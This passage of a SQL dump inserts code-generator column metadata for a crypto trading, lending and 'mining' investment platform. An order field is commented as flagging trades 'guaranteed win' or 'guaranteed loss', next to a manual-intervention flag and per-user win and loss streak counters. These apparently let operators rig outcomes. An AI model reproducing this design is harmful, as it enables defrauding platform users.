'0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 13, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (191, '14', 'open_price', '开盘价格', 'decimal(20,12)', 'BigDecimal', 'openPrice', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (192, '14', 'close_price', '关盘价格', 'decimal(20,12)', 'BigDecimal', 'closePrice', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (193, '14', 'open_time', '开盘时间', 'bigint', 'Long', 'openTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (194, '14', 'close_time', '关盘时间', 'bigint', 'Long', 'closeTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (195, '14', 'coin_symbol', '交易币符号', 'varchar(255)', 'String', 'coinSymbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (196, '14', 'base_symbol', '结算币符号', 'varchar(255)', 'String', 'baseSymbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 19, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (197, '14', 'sign', '订单标记 0正常 1包赢 2包输', 'int', 'Long', 'sign', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 20, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (198, '14', 'manual_intervention', '是否人工干预 0是 1否', 'int', 'Long', 'manualIntervention', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (199, '14', 'rate', NULL, 'decimal(16,6)', 'BigDecimal', 'rate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 22, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (200, '15', 'id', '主键', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:03'); +INSERT INTO `gen_table_column` VALUES (201, '15', 'amount', '贷款额度', 'decimal(18,2)', 'BigDecimal', 'amount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:03'); +INSERT INTO `gen_table_column` VALUES (202, '15', 'cycle_type', '周期类型 0-7天 1-14天 2-30天 ,,,,待补充', 'int', 'Long', 'cycleType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 3, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:03'); +INSERT INTO `gen_table_column` VALUES (203, '15', 'repay_type', '还款类型 0-到期一次换本息...待补充', 'int', 'Long', 'repayType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 4, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:03'); +INSERT INTO `gen_table_column` VALUES (204, '15', 'status', '状态 0 未开启 1已开启', 'int', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 5, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:03'); +INSERT INTO `gen_table_column` VALUES (205, '15', 'create_by', NULL, 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 6, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (206, '15', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 7, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (207, '15', 'update_by', NULL, 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 8, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (208, '15', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 9, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (209, '15', 'remark', '用户备注', 'varchar(1024)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 10, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (210, '15', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 11, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (211, '15', 'odds', '日利率(%)', 'decimal(18,4)', 'BigDecimal', 'odds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (212, '15', 'repay_org', '还款机构', 'varchar(500)', 'String', 'repayOrg', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 13, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (213, '8', 'audit_status_primary', '初级验证状态', 'int', 'Long', 'auditStatusPrimary', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, '', '2023-07-13 18:46:06', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (214, '8', 'audit_status_advanced', '高级验证状态', 'int', 'Long', 'auditStatusAdvanced', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, '', '2023-07-13 18:46:06', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (215, '8', 'credits', '信用分', 'int', 'Long', 'credits', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 19, '', '2023-07-13 18:46:06', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (216, '8', 'user_recharge_address', '用户充值地址', 'varchar(255)', 'String', 'userRechargeAddress', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 20, '', '2023-07-13 18:46:06', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (217, '8', 'win_num', '连赢场次', 'int', 'Long', 'winNum', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, '', '2023-07-13 18:46:06', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (218, '8', 'lose_num', '连输场次', 'int', 'Long', 'loseNum', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 22, '', '2023-07-13 18:46:06', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (219, '16', 'id', '主键', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-14 14:39:14', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (220, '16', 'pro_id', '贷款商品表id', 'bigint', 'Long', 'proId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (221, '16', 'user_id', '用户id', 'bigint', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (222, '16', 'create_time', '购买时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 4, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (223, '16', 'amount', '贷款金额', 'decimal(18,6)', 'BigDecimal', 'amount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (224, '16', 'rate', '贷款利率', 'decimal(18,6)', 'BigDecimal', 'rate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (225, '16', 'interest', '利息', 'decimal(18,2)', 'BigDecimal', 'interest', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (226, '16', 'status', '0 进行中 1-已结清 2-已逾期 3 通过 4拒绝', 'int', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 8, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (227, '16', 'final_repay_time', '最后还款日', 'datetime', 'Date', 'finalRepayTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 9, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (228, '16', 'disburse_time', '放款日期', 'datetime', 'Date', 'disburseTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 10, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (229, '16', 'return_time', '还款日期', 'datetime', 'Date', 'returnTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 11, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (230, '16', 'disburse_amount', '审批金额', 'decimal(18,6)', 'BigDecimal', 'disburseAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (231, '16', 'admin_parent_ids', '后台代理ids', 'varchar(1024)', 'String', 'adminParentIds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 13, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (232, '16', 'card_url', NULL, 'varchar(255)', 'String', 'cardUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (233, '16', 'card_back_url', NULL, 'varchar(255)', 'String', 'cardBackUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (234, '16', 'capital_url', NULL, 'varchar(255)', 'String', 'capitalUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (235, '16', 'license_url', NULL, 'varchar(255)', 'String', 'licenseUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (236, '16', 'order_no', NULL, 'varchar(50)', 'String', 'orderNo', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:36'); +INSERT INTO `gen_table_column` VALUES (237, '16', 'cycle_type', NULL, 'int', 'Long', 'cycleType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 19, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:37'); +INSERT INTO `gen_table_column` VALUES (238, '16', 'remark', '用户备注', 'varchar(1024)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 20, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:37'); +INSERT INTO `gen_table_column` VALUES (239, '16', 'create_by', NULL, 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 21, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:37'); +INSERT INTO `gen_table_column` VALUES (240, '16', 'update_by', NULL, 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 22, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:37'); +INSERT INTO `gen_table_column` VALUES (241, '16', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 23, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:37'); +INSERT INTO `gen_table_column` VALUES (242, '16', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 24, 'admin', '2023-07-14 14:39:15', '', '2023-07-17 14:10:37'); +INSERT INTO `gen_table_column` VALUES (243, '17', 'id', NULL, 'int', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (244, '17', 'title', '标题', 'varchar(255)', 'String', 'title', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (245, '17', 'icon', '图标', 'varchar(255)', 'String', 'icon', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (246, '17', 'status', '启用禁用(展示在前端)1开0关', 'tinyint', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 4, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (247, '17', 'days', '天数(如 7,10,30)', 'varchar(200)', 'String', 'days', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (248, '17', 'default_odds', '违约利率', 'decimal(8,2)', 'BigDecimal', 'defaultOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (249, '17', 'min_odds', '最小日利率百分比', 'decimal(8,2)', 'BigDecimal', 'minOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (250, '17', 'max_odds', '最大日利率百分比', 'decimal(8,2)', 'BigDecimal', 'maxOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (251, '17', 'time_limit', '每人限购次数,0表示不限', 'int', 'Long', 'timeLimit', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (252, '17', 'limit_min', '最小金额', 'decimal(20,4)', 'BigDecimal', 'limitMin', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (253, '17', 'limit_max', '最大金额', 'decimal(20,4)', 'BigDecimal', 'limitMax', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (254, '17', 'is_hot', '是否热销1是0否', 'tinyint', 'Long', 'isHot', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (255, '17', 'sort', '排序', 'int', 'Long', 'sort', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (256, '17', 'create_by', '创建人', 'varchar(255)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 14, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (257, '17', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 15, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (258, '17', 'update_by', '更新人员', 'varchar(255)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 16, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (259, '17', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 17, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (260, '17', 'buy_purchase', ' 购买次数', 'int', 'Long', 'buyPurchase', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (261, '17', 'avg_rate', '日平均利率', 'decimal(8,2)', 'BigDecimal', 'avgRate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 19, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (262, '17', 'coin', '币种 ', 'varchar(20)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 20, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (263, '17', 'classify', '分类(0 普通 1 vip 2 增值)', 'varchar(2)', 'String', 'classify', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (264, '17', 'basic_invest_amount', '平台基础投资金额', 'decimal(26,4)', 'BigDecimal', 'basicInvestAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 22, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (265, '17', 'total_invest_amount', '平台总投资额', 'decimal(26,4)', 'BigDecimal', 'totalInvestAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 23, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (266, '17', 'level', 'VIP等级 ', 'int', 'Long', 'level', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 24, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (267, '17', 'process', '项目进度', 'decimal(8,2)', 'BigDecimal', 'process', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 25, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (268, '17', 'remain_amount', '剩余金额', 'decimal(26,4)', 'BigDecimal', 'remainAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 26, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (269, '17', 'remark', '标签', 'varchar(1000)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 27, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (270, '17', 'purchased_amount', '易购金额', 'decimal(26,4)', 'BigDecimal', 'purchasedAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 28, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (271, '17', 'problem', '常见问题', 'mediumtext', 'String', 'problem', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 29, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (272, '17', 'prodect_introduction', '产品介绍', 'mediumtext', 'String', 'prodectIntroduction', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 30, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (273, '18', 'id', NULL, 'int', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (274, '18', 'adress', '地址', 'varchar(100)', 'String', 'adress', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (275, '18', 'amount', '投资金额(分)', 'decimal(20,4)', 'BigDecimal', 'amount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-17 16:06:44', '', NULL); +INSERT INTO `gen_table_column` VALUES (276, '18', 'days', '投资期限(天)', 'int', 'Long', 'days', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (277, '18', 'status', '0 收益 1 结算', 'tinyint', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 5, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (278, '18', 'plan_id', '项目id', 'bigint', 'Long', 'planId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (279, '18', 'plan_title', '项目名称', 'varchar(30)', 'String', 'planTitle', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (280, '18', 'order_no', '订单编号', 'varchar(30)', 'String', 'orderNo', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (281, '18', 'create_time', '投资时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 9, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (282, '18', 'end_time', '到期时间', 'datetime', 'Date', 'endTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 10, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (283, '18', 'settle_time', '结算时间', 'datetime', 'Date', 'settleTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 11, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (284, '18', 'accumula_earn', '累计收益', 'decimal(20,6)', 'BigDecimal', 'accumulaEarn', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (285, '18', 'update_time', NULL, 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 13, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (286, '18', 'min_odds', '最小利率', 'decimal(8,2)', 'BigDecimal', 'minOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (287, '18', 'max_odds', '最大利率', 'decimal(8,2)', 'BigDecimal', 'maxOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (288, '18', 'default_odds', '违约利率', 'decimal(8,2)', 'BigDecimal', 'defaultOdds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (289, '18', 'admin_user_id', '后台用户id', 'bigint', 'Long', 'adminUserId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (290, '18', 'type', '0 质押挖矿 1 非质押挖矿', 'int', 'Long', 'type', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 18, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (291, '18', 'collection_order', NULL, 'varchar(100)', 'String', 'collectionOrder', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 19, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (292, '18', 'user_id', NULL, 'bigint', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 20, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (293, '18', 'order_amount', NULL, 'decimal(8,2)', 'BigDecimal', 'orderAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (294, '19', 'amount', '投资金额(分)', 'decimal(20,4)', 'BigDecimal', 'amount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 1, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (295, '19', 'odds', '当日利率', 'decimal(10,4)', 'BigDecimal', 'odds', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (296, '19', 'earn', '收益', 'decimal(20,6)', 'BigDecimal', 'earn', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (297, '19', 'plan_id', '项目id', 'bigint', 'Long', 'planId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (298, '19', 'order_no', '订单编号', 'varchar(30)', 'String', 'orderNo', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (299, '19', 'create_time', '时间', 'varchar(20)', 'String', 'createTime', '0', '0', '1', '1', NULL, NULL, NULL, 'EQ', 'input', '', 6, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (300, '19', 'address', '地址', 'varchar(255)', 'String', 'address', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (301, '19', 'type', '0 质押挖矿 1 非质押挖矿', 'int', 'Long', 'type', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 8, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (302, '19', 'update_time', NULL, 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 9, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (303, '20', 'user_id', '用户id', 'bigint', 'Long', 'userId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 1, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (304, '20', 'id', '挖矿产品id', 'bigint', 'Long', 'id', '0', '0', '1', '1', NULL, NULL, NULL, 'EQ', 'input', '', 2, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (305, '20', 'time_limit', '限购次数', 'bigint', 'Long', 'timeLimit', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-17 16:06:45', '', NULL); +INSERT INTO `gen_table_column` VALUES (352, '26', 'id', NULL, 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (353, '26', 'user_id', NULL, 'bigint', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-18 14:50:51', '', NULL); +INSERT INTO `gen_table_column` VALUES (354, '26', 'title', 